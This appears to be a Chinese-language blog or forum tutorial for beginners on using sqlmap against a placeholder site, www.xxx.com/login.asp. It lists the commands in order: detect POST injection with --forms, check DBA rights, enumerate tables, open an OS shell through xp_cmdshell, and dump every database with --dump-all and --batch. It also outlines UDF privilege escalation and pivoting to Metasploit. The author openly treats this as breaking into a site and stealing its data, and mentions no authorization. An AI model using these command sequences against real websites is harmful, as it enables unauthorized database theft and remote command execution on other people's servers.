好,跑数据库就是这么简单,于是呢来一个稍微有点干货的例子:
http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷贝post数据,很麻烦,我想让sqlmap自动跑post注入
sqlmap -u “http://www.xxx.com/login.asp” –forms
很好,上面的命令成功的帮我跑了post注入,并且找到了post的注入点jjj=123
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –dbs
于是我用上面的命令看看数据库
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –is-dba
顺便看看当前用户是不是dba
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -a 
用了上面的命令 -a能得到什么呢:自己去看帮助吧。
帮你筛选了一下,-a下面的那些命令是用来看用户,看主机,看权限的。
后来呢,我发现权限还是挺高的,同时呢,我跑出来了数据库名称kkk
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –tables
同时我找到了网站路径,然后我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以执行系统命令,同时还发现了牛逼的xpcmdshell –os-shell
以及很多牛逼的文件操作命令–file-xx 这些命令在需要用的时候使用就是了,会给你带来意想不到的惊喜
与此同时,我发现tables里面没有我想要的东西,我也找不到合适的内容,咋办呢,心一横,我决定把所有的数据库内容跑出来自己找,于是我这么做:
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –dump-all
然后牛逼的sqlmap就开始跑啊跑,然后紧接着我的蛋就碎了,尼玛,sqlmap一会就问你一次要不要破解密码,要不要这个,要不要那个,我和我的小朋友们都想擦你妹夫,功夫不负有心人,我又看见了一个命令 –batch 可以自动选择sqlmap默认选项
于是,我可以和我的小朋友们玩耍去了,再也不用看着sqlmap拖库了。

总结下来,帮助文档还是很重要的,多看看,总会有些收获:
为了避免各位看英文看到吐,大概总结下:
Target: 字面意思,目标,那么就是确定目标的
Request: 字面意思,请求,就是定义请求内容的,比如post数据,http头,cookie注入,http头污染等等
Optimization:字面意思,调节性能,等等
Injection: 字面意思,注入的设置内容基本在这里,比如指定注入点,指定db,指定系统,等等
Detection:
基本就是用在确认注入范围,寻找注入点区域,这些
Technique:
基本用在确定注入手段,以及攻击方式
Fingerprint:
基本用在指纹识别,用的很少
Enumeration:
枚举信息,主要用在注入中,很重要,很常用
Brute force:
用来爆破,其实主要是枚举tables columns用的
User-defined function injection:
现在只有udf提权,以及指定一些自己定义的sqlmap脚本用,高端使用,求大牛指点
File system access
主要是文件读取,文件写入
Operating system access 
主要用在对系统操作,例如os-shell 以及 后续的连接metasploit 实现后渗透攻击
windows registry access
基本就是注册表操作了
General
字面意思,综合的内容,一些特殊的功能实现,我在这里找到了crawl batch这些非常好用的参数
Miscellaneous
目测高端应用,还没怎么用过,求大神指教
如上面总结的,大概红字就是常用的命令,剩下的不常用里面也有很多很不错,在特殊情况下适用的内容,反正本贴科普而已。

字有点多,想看的菜鸟朋友认真看下来应该会有些收获,菜鸟们如果有什么其他的奇技淫巧,还希望分享1、2 共同进步!!


你可能感兴趣的:(工具使用)